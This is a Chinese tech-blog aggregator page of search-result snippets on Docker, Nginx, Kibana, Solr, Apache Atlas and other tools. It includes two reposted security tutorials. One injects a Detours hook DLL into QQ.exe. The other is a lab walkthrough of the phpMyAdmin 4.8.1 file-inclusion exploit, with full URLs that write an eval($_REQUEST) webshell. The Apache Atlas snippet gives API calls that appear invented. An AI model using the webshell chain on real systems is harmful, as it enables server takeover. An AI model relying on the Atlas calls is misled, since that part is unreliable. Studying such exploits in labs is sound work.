前端技术
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前端框架和UI库
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HBase
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ZooKeeper
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Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[py文件源码修改后的即时生效策略]的搜索结果
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Apache Atlas
...tlas的安装包; 修改配置文件(如:conf/atlas-env.sh); 启动所有服务(如:bin/start-all.sh); 浏览器访问http://localhost:21000进行初始化设置。 以下是使用Apache Atlas创建一个项目的基本代码示例: javascript // 创建项目 POST http://localhost:21000/api/v2/project { "name": "my_project", "description": "My first project with Apache Atlas" } 三、集群部署模式 集群部署模式适合中大型企业或团队使用,可以提高系统的可用性和性能。 1. 部署步骤 在多台机器上安装并启动Apache Atlas的所有服务; 使用Zookeeper进行服务注册和发现; 使用Apache Atlas API进行项目管理和其他操作。 以下是使用Apache Atlas在集群中创建一个项目的代码示例: php-template // 获取Zookeeper集群的地址 GET http://localhost:2181/_clusterinfo // 创建项目 POST http://localhost:21000/api/v2/project { "name": "my_project", "description": "My first project with Apache Atlas" } 四、混合部署模式 混合部署模式结合了单机和集群的优势,既可以提供较高的性能,又可以保证数据的安全性和可靠性。 1. 部署步骤 在单台机器上安装并启动Apache Atlas的服务,作为中央控制节点; 在多台机器上安装并启动Apache Atlas的服务,作为数据处理节点; 使用Zookeeper进行服务注册和发现; 使用Apache Atlas API进行项目管理和其他操作。 以下是使用Apache Atlas在混合部署中创建一个项目的代码示例: javascript // 创建中央控制节点 GET http://localhost:21000/api/v2/projects // 获取Zookeeper集群的地址 GET http://localhost:2181/_clusterinfo // 创建数据处理节点 POST http://localhost:21000/api/v2/nodes { "hostName": "data-node-1", "port": 21001, "role": "DATA_NODE" } // 创建项目 POST http://localhost:21000/api/v2/project { "name": "my_project", "description": "My first project with Apache Atlas" } 五、微服务部署模式 微服务部署模式是近年来越来越流行的一种部署方式,可以让企业更加灵活地应对业务的变化和需求的增长。 1. 部署步骤 将Apache Atlas分解为多个微服务,例如:项目管理、数据目录、元数据存储等; 使用Docker进行容器化部署; 使用Kubernetes进行服务编排和管理; 使用Apache Atlas API进行项目管理和其他操作。 以下是使用Apache Atlas在微服务部署中创建一个项目的代码示例: javascript // 安装并启动项目管理微服务 docker run -d --name atlas-project-management my-atlas-project-management-image // 安装并启动数据目录微服务 docker run -d --name atlas-data-directory my-atlas-data-directory-image // 安装并启动元数据存储微服务 docker run -d --name atlas-metadata-storage my-atlas-metadata-storage-image // 创建项目 POST http://localhost:21000/api/v2/project { "name": "my_project", "description": "My first project with Apache Atlas" } 总结 Apache Atlas有多种部署模式供用户选择,用户可以根据自己的需求和技术条件来选择最合适的部署方式。甭管您选择哪种部署方式,Apache Atlas都能像个小助手一样,帮助企业老铁们把数据资产打理得井井有条,妥妥地保护好这些宝贝资源。
2023-07-31 15:33:19
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月下独酌-t
Docker
...ocker映射路径:修改Docker存储路径的深度解析与实践 1. 引言 在Docker的世界中,容器运行时的数据持久化是一个至关重要的议题。一般来说,Docker这家伙干活的时候,默认会把容器里的数据藏在它自己的小秘密空间里。不过你可得注意了,一旦这个容器被停止运行或者干脆被删掉,那么这些数据也就跟着玩完了,彻底消失不见啦。不过,在真实操作场景里,我们常常得把容器里面的文件系统路径,像变魔术一样映射到宿主机上。这样一来,既能保证数据能长久保存,又能轻松实现容器内外的资源共享,让大家都能方便地“互通有无”。今天,咱们要聊的话题接地气点,就是怎么捣鼓Docker的存储路径,再给它来个路径映射的小魔术,让大伙儿用起来更顺手。 2. Docker数据卷的基础理解 在深入讨论映射路径之前,我们需要先理解Docker中的一个重要概念——数据卷(Data Volumes)。数据卷这个小东西,就像一个独立的存储空间,它实实在在地存在于你的电脑(也就是宿主机)上。然后,当你启动一个Docker容器时,会把这个存储空间“搬”到容器内部的一个特定目录里。神奇的是,这个数据卷的生命周期完全不受容器的影响,也就是说,哪怕你把容器整个删掉了,这个数据卷里的所有数据都还会好好地保存着,一点儿都不会丢失! bash 创建一个使用数据卷的nginx容器 docker run -d --name web-server -v /webapp:/usr/share/nginx/html nginx 上述命令中 -v /webapp:/usr/share/nginx/html 就创建了一个从宿主机 /webapp 映射到容器内 /usr/share/nginx/html 的数据卷。这样,容器内的网页文件实际上会存储在宿主机的 /webapp 目录下。 3. 修改Docker默认存储路径 Docker的默认存储路径通常位于 /var/lib/docker,如果这个位置的空间不足或者出于管理上的需求,我们可以对其进行修改: 3.1 Linux系统 在Linux系统中,可以通过修改Docker守护进程启动参数来改变数据存储路径: bash 停止Docker服务 sudo systemctl stop docker 编辑Docker配置文件(通常是/etc/docker/daemon.json) sudo nano /etc/docker/daemon.json 添加如下内容(假设新的存储路径为 /mnt/docker) { "data-root": "/mnt/docker" } 重启Docker服务并检查新路径是否生效 sudo systemctl start docker sudo docker info | grep "Root Dir" 3.2 Windows和Mac (Docker Desktop) 对于Windows和Mac用户,通过Docker Desktop可以更方便地更改Docker数据盘的位置: - 打开Docker Desktop应用 - 进入“Preferences”或“Settings” - 在“Resources”选项卡中找到“Disk image location”,点击“Move”按钮选择新的存储路径 - 点击“Apply & Restart”以应用更改 4. 多路径映射与复杂场景 在某些情况下,我们可能需要映射多个路径,甚至自定义路径模式。例如,下面的命令展示了如何映射多个宿主机目录到容器的不同路径: bash docker run -d \ --name my-app \ -v /host/path/config:/app/config \ -v /host/path/data:/app/data \ your-image-name 这里,我们把宿主机上的 /host/path/config 和 /host/path/data 分别映射到了容器的 /app/config 和 /app/data。 总结起来,理解和掌握Docker映射路径及修改存储路径的技术,不仅可以帮助我们更好地管理和利用资源,还能有效保证容器数据的安全性和持久性。在这个过程中,我们可没闲着,一直在热火朝天地摸索、捣鼓和实战Docker技术。亲身体验到它的神奇魅力,也实实在在地深化了对虚拟化和容器化技术的理解,收获颇丰!
2023-09-10 14:02:30
541
繁华落尽_
Kylin
...概念。在HDFS中,文件会被分割成固定大小的数据块并在集群节点上分布存储。这个数据块大小的设定,其实就像是控制水流的阀门,直接关系到我们读写数据的速度和存储空间的使用率。所以,在某些特定的情况下,咱们可能得动手把这个“阀门”调一调,让它更符合我们的需求。 2. 为何要调整数据块大小 假设你在使用Kylin构建Cube时,发现由于数据块大小设置不当,导致了数据读取性能下降或者存储空间浪费。比如,想象一下你有一堆超大的数据记录,但是用来装这些记录的数据块却很小,这就像是把一大堆东西硬塞进一个个小抽屉里,结果每个抽屉只能装一点点东西,这样一来,为了找到你需要的那个记录,你就得频繁地开开关关许多抽屉,增加了不少麻烦;反过来,如果数据块被设置得特别大,就像准备了一个超级大的储物箱来放文件,但某个文件其实只占了储物箱的一角,那剩下的大部分空间就白白浪费了,多可惜啊! 3. 调整数据块大小的步骤 调整HDFS数据块大小并非在Kylin内完成,而是通过修改Hadoop的配置文件hdfs-site.xml来实现的。下面是一个示例: xml dfs.blocksize 128MB 上述代码中,我们将HDFS的数据块大小设置为128MB。请注意,这个改动需要重启Hadoop服务才能生效。 4. 思考与权衡 当然,决定是否调整数据块大小以及调整为多少,都需要根据你的具体业务需求和数据特性来进行深入思考和权衡。比如,在Kylin Cube构建的时候,会遇到海量数据的读写操作,这时候,如果咱们适当调大数据块的大小,就像把勺子换成大碗盛汤一样,可能会让整体处理速度嗖嗖提升。不过呢,这个大碗也不能太大了,为啥呢?想象一下,一旦单个任务“撂挑子”了,我们得恢复的数据量就相当于要重新盛一大盆的汤,那工作量可就海了去了。 总的来说,虽然Kylin自身并不支持直接调整硬盘分区大小,但在其运行的Hadoop环境中,合理地配置HDFS的数据块大小对于优化Kylin的性能表现至关重要。这就意味着,咱们要在实际操作中不断尝试、琢磨和灵活调整,力求找出最贴合当前工作任务的数据块大小设置,让工作跑得更顺畅。
2023-01-23 12:06:06
187
冬日暖阳
Nginx
...pp 在这个文件中,我们需要配置一些基本的信息,包括虚拟主机的名称、端口号、默认文件、重定向规则等。 3. 创建好虚拟主机之后,我们需要启用它。可以使用以下命令来启用“vue-app”虚拟主机: sudo ln -s /etc/nginx/sites-available/vue-app /etc/nginx/sites-enabled/ 4. 最后,我们需要重启Nginx服务,使得新的配置生效。可以使用以下命令来重启Nginx服务: sudo systemctl restart nginx 四、如何避免用户访问旧页面 在上面的步骤中,我们已经创建了一个新的虚拟主机,并且将我们的Vue项目部署到了这个虚拟主机上。那么,我们怎么才能让用户尽快地转向新版本的页面呢? 其实,这个问题的答案就在我们的Nginx配置文件中。我们可以使用Nginx的URL重写功能,来将用户访问的旧页面自动重定向到新版本的页面。 以下是一段简单的Nginx配置代码,它可以将用户访问的旧页面自动重定向到新版本的页面: server { listen 80; server_name www.example.com; location / { root /var/www/example/; index index.html index.htm; if ($http_user_agent ~ "Trident|MSIE") { rewrite ^(.) https://www.example.com$1 permanent; } } } 在这个代码中,我们首先监听了80端口,然后设置了服务器名。接着,我们指定了项目的根目录和索引文件。最后,我们使用if语句检查用户的浏览器类型。如果用户的浏览器是IE的话,我们就将其重定向到https://www.example.com。 五、总结 总的来说,通过在Nginx下部署Vue项目,并且使用Nginx的URL重写功能,我们可以很好地避免用户访问旧页面,让他们能够尽快地看到新版本的内容。虽然这事儿可能需要咱们掌握点技术,积累点经验,但只要我们把相关的知识、技巧都学到手,那妥妥地就能搞定它。 在未来的工作中,我会继续深入研究Nginx和其他相关技术,以便能够更好地服务于我的客户。我觉得吧,只有不断学习和自我提升,才能真正踩准时代的鼓点,然后设计出更棒的产品、提供更贴心的服务。你看,就像跑步一样,你得不停向前跑,才能不被大部队甩开,对不对?
2023-11-04 10:35:42
124
草原牧歌_t
Kibana
...ana.yml配置文件 yaml 添加或修改以下配置 xpack: search: remote: clusters: 这里定义第一个集群连接信息 cluster_1: seeds: ["http://cluster1-node1:9200"] username: "your_user" password: "your_password" 同理,添加第二个、第三个...集群配置 cluster_2: seeds: ["http://cluster2-node1:9200"] ssl: true ssl_certificate_authorities: ["/path/to/ca.pem"] 步骤二:重启Kibana服务 应用上述配置后,记得重启Kibana服务,让新的设置生效。 步骤三:验证集群连接 在Kibana控制台,检查Stack Management > Advanced Settings > xpack.search.remote.clusters,应能看到你刚配置的集群信息,表示已经成功连接。 4. 使用跨集群搜索功能 现在,你可以在Discover页面创建索引模式时选择任意一个远程集群的索引了。例如: json POST .kibana/_index_template/my_cross_cluster_search_template { "index_patterns": ["cluster_1:index_name", "cluster_2:another_index"], "template": { "settings": {}, "mappings": {} }, "composed_of": [] } 这样,在Discover面板搜索时,就可以同时查询到"cluster_1:index_name"和"cluster_2:another_index"两个不同集群的数据了。 5. 深入思考与探讨 跨集群搜索的功能对于那些拥有大量分布式数据源的企业来说,无疑是一个福音。然而,这并不意味着我们可以无限制地增加集群数量。当我们的集群规模逐渐扩大时,性能消耗和复杂程度也会像体重秤上的数字一样蹭蹭上涨。所以在实际操作中,咱们就得像个精打细算的家庭主妇,根据自家业务的具体需求和资源现状,好好掂量一下,做出最划算、最明智的选择。 此外,虽然Kibana跨集群搜索带来了极大的便利性,但在处理跨集群数据权限、数据同步延迟等问题上仍需谨慎对待。在尽情享受技术带来的种种便利和高效服务时,咱们也别忘了时刻关注并确保数据的安全性以及实时更新的重要性。 总结起来,配置Kibana跨集群搜索不仅是一项技术实践,更是对我们如何在复杂数据环境中优化工作流程,提升数据价值的一次有益探索。每一次尝试和挑战都是我们在数据分析道路上不断进步的动力源泉。
2023-02-02 11:29:07
334
风轻云淡
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... 3. 把静态库和头文件引入工程 4. 函数指针与函数的定义 5.拦截 劫持QQ 实现劫持system函数。 1. 设置项目生成dll 2. 源文件(注意:需要保存为.c文件,或者加上extern C,因为detours是使用C语言实现的,表示代码使用C的规则进行编译) 3. 生成"劫持1.dll"文件 4. 把dll注入到QQ.exe 5. 拦截QQ执行system函数 参考 劫持 劫持的原理就是把目标函数的指针的指向修改为自定义函数的地址。 函数是放在内存中的代码区,所以劫持与代码区密切相关。 实现劫持需要使用detours。 detours detours是微软亚洲研究院出口的信息安全产品,主要用于劫持。这个工具使用C语言实现,所以是跨平台的。 detours根据函数指针改变函数的行为,可以拦截任何函数,即使操作系统函数。 detours下载地址: 下载地址1: http://research.microsoft.com/en-us/downloads/d36340fb-4d3c-4ddd-bf5b-1db25d03713d/default.aspx 下载地址2: http://pan.baidu.com/s/1eQEijtS 实现劫持 开发环境说明:win7、vs2012 步骤: 1. 安装Detours 2. 编译Detours工程 在安装目录C:\Program Files\Microsoft Research\Detours Express 3.0\src目录下的是工程的源文件。 (1) 打开VS2012命令行工具,进入src目录。 (2) 使用nmake(linux下是make)命令编译生成静态库。 (3) 在lib.x86目录下的.lib文件是win32平台下的静态库文件 (4) 在include目录下的是Detours工程的头文件 3. 把静态库和头文件引入工程 // 引入detours头文件include "detours.h"// 引入detours.lib静态库pragma comment(lib,"detours.lib") 4. 函数指针与函数的定义 (1) 定义一个函数指针指向目标函数,这里目标函数是system 例如: detour在realse模式生效(因为VS在Debug模式下已经把程序中的函数劫持了) static int ( oldsystem)(const char _Command) = system;//定义一个函数指针指向目标函数 (2) 定义与目标函数原型相同的函数替代目标函数 例如: //3.定义新的函数替代目标函数,需要与目标函数的原型相同int newsystem(const char _Command){int result = MessageBoxA(0,"是否允许该程序调用system命令","提示",1);//printf("result = %d", result);if (result == 1){oldsystem(_Command); //调用旧的函数}else{MessageBoxA(0,"终止调用system命令","提示",0);}return 0;} 5.拦截 //开始拦截void Hook(){DetourRestoreAfterWith();//恢复原来状态(重置)DetourTransactionBegin();//拦截开始DetourUpdateThread(GetCurrentThread());//刷新当前线程(刷新生效)//这里可以连续多次调用DetourAttach,表明HOOK多个函数DetourAttach((void )&oldsystem, newsystem);//实现函数拦截DetourTransactionCommit();//拦截生效} //取消拦截void UnHook(){DetourTransactionBegin();//拦截开始DetourUpdateThread(GetCurrentThread());//刷新当前线程//这里可以连续多次调用DetourDetach,表明撤销多个函数HOOKDetourDetach((void )&oldsystem, newsystem); //撤销拦截函数DetourTransactionCommit();//拦截生效} 劫持QQ 实现劫持system函数。 1. 设置项目生成dll 2. 源文件(注意:需要保存为.c文件,或者加上extern C,因为detours是使用C语言实现的,表示代码使用C的规则进行编译) include include include // 引入detours头文件include "detours.h"//1.引入detours.lib静态库pragma comment(lib,"detours.lib")//2.定义函数指针static int ( oldsystem)(const char _Command) = system;//定义一个函数指针指向目标函数//3.定义新的函数替代目标函数,需要与目标函数的原型相同int newsystem(const char _Command){char cmd[100] = {0};int result = 0;sprintf_s(cmd,100, "是否允许该程序执行%s指令", _Command);result = MessageBoxA(0,cmd,"提示",1);//printf("result = %d", result);if (result == 1) // 允许调用{oldsystem(_Command); //调用旧的函数}else{// 不允许调用}return 0;}// 4.拦截//开始拦截_declspec(dllexport) void Hook() // _declspec(dllexport)表示外部可调用,需要加上该关键字其它进程才能成功调用该函数{DetourRestoreAfterWith();//恢复原来状态(重置)DetourTransactionBegin();//拦截开始DetourUpdateThread(GetCurrentThread());//刷新当前线程(刷新生效)//这里可以连续多次调用DetourAttach,表明HOOK多个函数DetourAttach((void )&oldsystem, newsystem);//实现函数拦截DetourTransactionCommit();//拦截生效}//取消拦截_declspec(dllexport) void UnHook(){DetourTransactionBegin();//拦截开始DetourUpdateThread(GetCurrentThread());//刷新当前线程//这里可以连续多次调用DetourDetach,表明撤销多个函数HOOKDetourDetach((void )&oldsystem, newsystem); //撤销拦截函数DetourTransactionCommit();//拦截生效}// 劫持别人的程序:通过DLL注入,并调用Hook函数实现劫持。// 劫持系统:通过DLL注入系统程序(如winlogon.exe)实现劫持系统函数。_declspec(dllexport) void main(){Hook(); // 拦截system("tasklist"); //弹出提示框UnHook(); // 解除拦截system("ipconfig"); //成功执行system("pause"); // 成功执行} 3. 生成"劫持1.dll"文件 4. 把dll注入到QQ.exe DLL注入工具下载: https://coding.net/u/linchaolong/p/DllInjector/git/raw/master/Xenos.exe (1) 打开dll注入工具,点击add,选择"劫持1.dll" (2) 在Process中选择QQ.exe,点击Inject进行注入。 (3) 点击菜单栏Tools,选择Eject modules显示当前QQ.exe进程中加载的所有模块,如果有"劫持1.dll"表示注入成功。 5. 拦截QQ执行system函数 (1) 点击Advanced,在Init routine中填写动态库(dll)中的函数的名称,如Hook,然后点击Inject进行调用。此时,我们已经把system函数劫持了。 (2) 点击Advanced,在Init routine中填写main,执行动态库中的main函数。 此时,弹出一个对话框,问是否允许执行tasklist指令,表示成功把system函数拦截下来了。 参考 DLL注入工具源码地址: https://coding.net/u/linchaolong/p/DllInjector/git 说明: 该工具来自以下两个项目 Xenos: https://github.com/DarthTon/Xenos.git Blackbone: https://github.com/DarthTon/Blackbone 本篇文章为转载内容。原文链接:https://mohen.blog.csdn.net/article/details/123495342。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-23 19:22:06
352
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Saiku
...:确保Saiku配置文件中关于LDAP的相关参数如URL、DN(Distinguished Name)、Base DN等设置正确无误。 properties Saiku LDAP配置示例 ldap.url=ldap://ldap.example.com:389 ldap.basedn=ou=People,dc=example,dc=com ldap.security.principal=uid=admin,ou=Admins,dc=example,dc=com ldap.security.credentials=password (2)过滤器设置不当:检查user.object.class和user.filter属性是否能够正确匹配到LDAP中的用户条目。 2. 权限问题 确保用于验证的LDAP账户有足够的权限去查询用户信息。 3. 网络问题 检查Saiku服务器与LDAP服务器之间的网络连通性。 四、实战调试与解决方案 1. 日志分析 通过查看Saiku和LDAP的日志,我们可以获取更详细的错误信息,例如连接超时、认证失败的具体原因等,从而确定问题所在。 2. 代码层面调试 在Saiku源码中找到处理LDAP认证的部分,如: java DirContext ctx = new InitialDirContext(env); Attributes attrs = ctx.getAttributes(bindDN, new String[] { "cn" }); 可以通过添加调试语句或日志输出,实时观察变量状态以及执行过程。 3. 解决方案实施 根据排查结果调整相关配置或修复代码,例如: - 如果是配置错误,修正相应配置并重启Saiku服务; - 如果是权限问题,联系LDAP管理员调整权限; - 若因网络问题,检查防火墙设置或优化网络环境。 五、总结 面对Saiku与LDAP集成认证失败的问题,我们需要从多个角度进行全面排查:从配置入手,细致核查每项参数;利用日志深入挖掘潜在问题;甚至在必要时深入源码进行调试。经过我们一步步实打实的操作,最后肯定能把这个问题妥妥地解决掉,让Saiku和LDAP这对好伙伴之间搭建起一座坚稳的安全认证桥梁。这样一来,企业用户们就能轻轻松松、顺顺利利地进行大数据分析工作了,效率绝对杠杠的!在整个过程中,不断思考、不断尝试,是我们解决问题的关键所在。
2023-10-31 16:17:34
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雪落无痕
Element-UI
...Steps组件内部源码发现,当current属性发生变化时,组件并没有立即执行样式重置操作,而是依赖于浏览器的CSS渲染机制。你知道吗,浏览器在显示网页内容时,其实有点小“拖延症”,就像个排队等候的“画师”。我们把这称作“渲染队列”。也就是说,有时候你对网页做的改动,并不会马!上!就!呈现在页面上,就像是样式更新还在慢悠悠地等队伍排到自己呢,这就可能会造成样式更新的滞后现象。 此外,ElSteps组件在每次current属性变化时都会主动重新计算并设置CSS类名,但是在过渡动画还未结束之前,新旧类名之间的切换操作并未完全完成,因此样式未能及时生效。 四、解决方案 为了解决上述问题,我们可以采取以下两种策略: 1. 启用平滑过渡动画 ElSteps组件支持transition和animation属性来配置步进条的过渡效果,这可以在一定程度上改善样式更新的感知。将这两项属性设置为相同名称(如el-transfer)即可启用默认的平滑过渡动画,如下所示: html ... 此时,当current属性发生改变时,组件将会在现有状态和目标状态之间添加平滑过渡效果,减少了样式更新的滞后感。 2. 利用$forceUpdate()强制更新视图 尽管利用$nextTick()可以一定程度上优化视图渲染的顺序,但在某些情况下,我们还可以采用更激进的方式——强制更新视图。Vue有个很酷的功能,它有一个叫做$forceUpdate()的“刷新神器”,一旦你调用这个方法,就相当于给整个Vue实例来了个大扫除,所有响应式属性都会被更新到最新状态,同时,视图部分也会立马刷新重绘,就像变魔术一样。在handleChange方法中调用此方法可以帮助解决样式更新滞后问题: javascript handleChange(index) { this.currentStep = index; this.$forceUpdate(); } 这样虽然无法彻底避免浏览器渲染延迟带来的样式更新滞后,但在大多数场景下能显著提升视觉反馈的即时性。 总结来说,通过合理地结合平滑过渡动画和强制更新视图策略,我们可以有效地解决ElSteps步骤条在动态改变当前步骤时样式更新滞后的困扰。当然啦,在特定场景下让效果更上一层楼,就得根据实际情况和所在的具体环境对优化方案进行接地气的微调和完善,让它更适合咱们的需求。
2024-02-22 10:43:30
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岁月如歌-t
Linux
...正常:问题排查与解决策略 1. 引言 在我们的日常开发和运维工作中,偶尔会遇到Linux环境下运行的软件出现崩溃或者行为异常的问题。遇到这种情况,就好比是突然碰上了一场技术大考,得要求咱们眼神儿尖、基本功扎实,还得有两把刷子能实战操作。这篇东西,我打算用一种特接地气、充满生活气息和情感互动的方式,带大家伙儿一块儿琢磨这类问题的解决路径,并且会结合实际的代码例子,让大家看得见、摸得着地了解整个过程。 2. 现象观察与初步分析 首先,当发现一个程序在Linux中崩溃或行为诡异时,我们的第一反应不应是立即投身于浩瀚的代码海洋,而是先做详尽的现象记录和初步分析。 例如,假设有一个名为my_app的程序崩溃了,我们可能会看到类似这样的错误信息: bash $ ./my_app Segmentation fault (core dumped) 这就是一个典型的“段错误”,提示我们程序可能试图访问了一个非法内存地址。此刻,我们应该思考:“这个错误可能是由于什么原因导致的呢?是数组越界、空指针引用还是动态内存分配出了岔子?” 3. 使用工具收集信息 在Linux世界里,丰富的工具链是我们解决问题的强大武器。对于崩溃问题,我们可以使用gdb(GNU调试器)来进一步追踪: bash $ gdb ./my_app core. ... (gdb) bt 上述命令执行后,将输出调用堆栈信息,帮助我们定位到崩溃发生的具体位置。此外,strace命令也可以用来跟踪系统调用和信号,揭示出程序运行过程中的底层交互情况。 4. 查看日志文件及配置 很多软件会在运行过程中生成日志文件,这是另一个重要的线索来源。例如,查看/var/log/my_app.log或其他自定义日志路径,获取关于程序运行状态的详细信息。 同时,检查软件的配置文件也是必要的步骤,因为配置错误可能导致程序无法正常工作。比如说,如果一款软件像个小孩依赖某个环境设置才能正常玩耍,而这个环境变量没被大人给调整好,那这软件很可能就会闹脾气,出现各种异常表现。 bash $ cat /etc/my_app.conf 查看配置文件内容 5. 示例 实际问题排查流程 假设我们在日志中发现一条错误消息:"Failed to open database connection"。这时,我们可以查阅源码并尝试模拟重现问题: c include include // 假设这是打开数据库连接的函数,存在潜在问题 int open_db_connection() { // 省略具体实现,假设这里发生了错误,如连接参数错误或数据库服务未启动 return -1; } int main() { if(open_db_connection() == -1) { fprintf(stderr, "Failed to open database connection\n"); exit(EXIT_FAILURE); } // 省略其他代码 return 0; } 通过模拟重现,我们发现问题源于数据库连接失败,进而检查数据库服务是否正常、配置参数是否正确等,一步步缩小问题范围。 6. 结论与总结 面对Linux环境下软件崩溃或运行不正常的问题,我们需要保持冷静、耐心细致地进行排查。经过细心观察现象,借助各种实用工具的辅助,再深入解读日志信息,加上对代码进行逐行审查、抽丝剥茧,我们一步步揭开问题的神秘面纱,最终灵光一闪找到破解难题的答案。这个过程简直就像一场探险寻宝,既满载着发现新大陆般的乐趣,又能实实在在地把我们的技术水平和解决问题的能力磨得蹭亮,不断往上提升!让我们携手在Linux的世界里,以积极的心态去应对每一次挑战,享受那从困境走向光明的过程吧!
2023-01-30 23:07:13
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青山绿水
Apache Solr
...加一个新的文档并立即生效,实现了实时搜索的基本流程。 3. Solr实时搜索背后的原理 Solr的实时搜索主要依赖于Near Real-Time (NRT)搜索机制,即在文档被索引后,虽然不会立即写入硬盘,但会立刻更新内存中的索引结构,使得新数据可以迅速被搜索到。这个过程中,Solr巧妙地平衡了索引速度和搜索响应时间。 4. 实时搜索功能的优化与改进 尽管Solr的实时搜索功能强大,但在大规模数据处理中,仍需关注性能调优问题。以下是一些可能的改进措施: (1)合理配置UpdateLog Solr的NRT搜索使用UpdateLog来跟踪未提交的更新。你晓得不,咱们可以通过在solrconfig.xml这个配置文件里头动动手脚,调整一下那个updateLog参数,这样一来,就能灵活把控日志的大小和滚动规则了。这样做主要是为了应对各种不同的实时性需求,同时也能考虑到系统资源的实际限制,让整个系统运作起来更顺畅、更接地气儿。 xml ${solr.ulog.dir:} 5000 ... (2)利用软硬件优化 使用更快的存储设备(如SSD),增加内存容量,或者采用分布式部署方式,都可以显著提升Solr的实时搜索性能。 (3)智能缓存策略 Solr提供了丰富的查询缓存机制,如过滤器缓存、文档值缓存等,合理设置这些缓存策略,能有效减少对底层索引的访问频率,提高实时搜索性能。 (4)并发控制与批量提交 对于大量频繁的小规模更新,可以考虑适当合并更新请求,进行批量提交,既能减轻服务器压力,又能降低因频繁提交导致的I/O开销。 结语:Apache Solr的实时搜索功能为用户提供了一种高效、便捷的数据检索手段。然而,要想最大化发挥其效能,还需根据实际业务场景灵活运用各项优化策略。在这个过程中,技术人的思考、探索与实践,如同绘制一幅精准而生动的信息地图,让海量数据的价值得以快速呈现。
2023-07-27 17:26:06
451
雪落无痕
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...码重复,我们就有了,文件包含。很多网页如果要用到很多同样的函数,那么我们就可以使用这个文件包含函数,就避免了每个网页又去重复造轮子。 在index.php文件里包含1.txt,而1.txt的内容是phpinfo(),include函数包含1.txt,就会把1.txt的内容当成php文件执行,不管后缀是什么。1.txt也好,1.xml也好,只要里面是php代码,然后有被include函数包含,那么就被当成PHP文件执行。 如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,然是不影响其他功能的执行,比如这里的nf和123的输出。那么就表明include函数,如果出现错误的话,并不会影响其他功能的运行。 如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,影响后面功能的执行,比如这里的nf的输出,后面的功能因为2.txt报错,导致123未执行。那么就表明require函数,如果出现错误的话,会影响后面功能的运行。 只要文件内是php代码,文件包含是不在意文件后缀的。 12345.jpg的传参值是a,那么我们可以写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’) 然后生成一个新的php文件 访问index.php 以上我们接触的全部是本地文件包含 说了本地文件包含,我们再来看远程文件包含 简单来说远程文件包含,就是可以包含其他主机上的文件,并当成php代码执行。 要实现远程文件包含的话,php配置的allow_url_include = on必须为on(开启) 来我们可以来实验一下,把这个配置打开。 “其他选项菜单”——“打开配置文件”——“php-ini” 打开配置文件,搜索allow_url_include 把Off改为On,注:第一个字母要为大写 之后要重启才能生效。 配置开启后,我们来远程文件包含一下,我们来远程包含一下kali上的1.txt,可以看到没有本地包含,所以直接显示的内容。 那我们现在来远程包含一下kali的这个1.txt,看会不会有phpinfo,注意我这里是index文件哦,所以是默认的。 可以看到,包含成功! 这里可以插一句题外话,如果是window服务器的话,可以让本地文件包含变成远程文件包含。需要开始XX配置,SMB服务。 这里我们可以发现,进入一个不存在的目录,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 但是php是非常严格的,进入一个不存在的目录,这里目录的名字里不能有?号,否则报错,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 实战 注意,这里php版本过低,会安装不上 安装好后,我们来解析下源码 1.txt内容phpinfo() 来本地文件包含一下,发现成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt 靶场 http://59.63.200.79:8010/lfi/phpmyadmin/ 先创建一个库名:nf 接着创建表:ff,字段数选2个就行了 然后选中我们之前创建好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个随便填充。 然后我们找到存放表的路径。 这里我们要传参2个,那么就加上&这里我们找到之后传参phpinfo http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo(); 因为a在ff.frm里 <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 文件包含成功 用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 写入成功后,我们连接这个8.php的木马。 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php 在线测试时这样,但是我在本地测试的时候,还是有点不一样的。我就直接上不一样的地方,前面的地方都是一样的 1,创建一个库为yingqian1984, 2,创建一个表为yq1984 3,填充表数据,因为跟上面一样,2个字段一个木马,一个随便数据 4,找数据表的位置,最后我发现我的MySQL存放数据库的地方是在 C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984 文件包含成功。 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo(); 用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 传参成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo(); 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 